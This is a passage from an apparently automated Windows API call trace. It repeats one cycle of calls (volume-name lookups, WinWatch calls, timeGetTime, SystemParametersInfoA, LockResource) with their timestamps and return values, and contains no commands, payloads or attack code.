lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b098 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b0b8 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b0d8 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b0f8 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b118 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b138 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b158 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb7f [0171.711] WinWatchOpen () returned 0x34b178 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.711] LockResource (hResData=0x0) returned 0x0 [0171.711] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.711] WinWatchNotify () returned 0x0 [0171.711] timeGetTime () returned 0x113fb80 [0171.711] WinWatchOpen () returned 0x34b198 [0171.711] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb80 [0171.712] WinWatchOpen () returned 0x34b1b8 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb80 [0171.712] WinWatchOpen () returned 0x34b1d8 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb80 [0171.712] WinWatchOpen () returned 0x34b1f8 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb80 [0171.712] WinWatchOpen () returned 0x34b218 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb80 [0171.712] WinWatchOpen () returned 0x34b238 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.712] LockResource (hResData=0x0) returned 0x0 [0171.712] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.712] WinWatchNotify () returned 0x0 [0171.712] timeGetTime () returned 0x113fb81 [0171.712] WinWatchOpen () returned 0x34b258 [0171.712] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b278 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b298 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b2b8 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b2d8 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b2f8 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.713] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.713] WinWatchNotify () returned 0x0 [0171.713] timeGetTime () returned 0x113fb81 [0171.713] WinWatchOpen () returned 0x34b318 [0171.713] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.713] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b338 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b358 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b378 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b398 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b3b8 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.714] timeGetTime () returned 0x113fb82 [0171.714] WinWatchOpen () returned 0x34b3d8 [0171.714] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.714] LockResource (hResData=0x0) returned 0x0 [0171.714] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.714] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b3f8 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b418 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b438 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b458 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b478 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b498 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.715] LockResource (hResData=0x0) returned 0x0 [0171.715] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.715] WinWatchNotify () returned 0x0 [0171.715] timeGetTime () returned 0x113fb83 [0171.715] WinWatchOpen () returned 0x34b4b8 [0171.715] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b4d8 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b4f8 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b518 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b538 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b558 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.716] WinWatchOpen () returned 0x34b578 [0171.716] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.716] LockResource (hResData=0x0) returned 0x0 [0171.716] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.716] WinWatchNotify () returned 0x0 [0171.716] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b598 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b5b8 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b5d8 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b5f8 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b618 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b638 [0171.717] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.717] LockResource (hResData=0x0) returned 0x0 [0171.717] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.717] WinWatchNotify () returned 0x0 [0171.717] timeGetTime () returned 0x113fb83 [0171.717] WinWatchOpen () returned 0x34b658 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb84 [0171.718] WinWatchOpen () returned 0x34b678 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb84 [0171.718] WinWatchOpen () returned 0x34b698 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb84 [0171.718] WinWatchOpen () returned 0x34b6b8 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb84 [0171.718] WinWatchOpen () returned 0x34b6d8 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb84 [0171.718] WinWatchOpen () returned 0x34b6f8 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.718] WinWatchNotify () returned 0x0 [0171.718] timeGetTime () returned 0x113fb85 [0171.718] WinWatchOpen () returned 0x34b718 [0171.718] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.718] LockResource (hResData=0x0) returned 0x0 [0171.718] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b738 [0171.719] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b758 [0171.719] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b778 [0171.719] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b7b8 [0171.719] SystemParametersInfoA (in: 